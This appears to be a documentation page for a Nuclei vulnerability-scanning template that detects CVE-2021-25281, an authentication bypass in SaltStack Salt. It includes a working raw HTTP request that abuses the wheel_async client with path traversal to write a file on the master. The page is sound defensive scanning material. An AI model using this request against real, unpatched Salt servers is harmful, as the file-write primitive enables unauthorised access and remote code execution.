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SaltStack Salt <3002.5 - Auth Bypass

ID: CVE-2021-25281

Severity: critical

Author: madrobot

Tags: cve,cve2021,saltapi,rce,saltstack,unauth

Description

Section titled “Description”

SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25281


info:
  name: SaltStack Salt <3002.5 - Auth Bypass
  author: madrobot
  severity: critical
  description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
  remediation: |
    Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
  reference:
    - http://hackdig.com/02/hack-283902.htm
    - https://dozer.nz/posts/saltapi-vulns
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25281
    - https://github.com/saltstack/salt/releases
    - https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25281
    cwe-id: CWE-287
    epss-score: 0.87406
    epss-percentile: 0.98631
    cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: saltstack
    product: salt
  tags: cve,cve2021,saltapi,rce,saltstack,unauth


http:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "return"
          - "tag"
          - "jid"
          - "salt"
          - "wheel"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a0047304502201d58336047e2608da2c99ba78cc8396d3d2d594193722c1ec290ce8b9fee7510022100caf98f952be238e692695ddf84c54f21684190f385503f6a8c1f28d5edab891c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25281.yaml"

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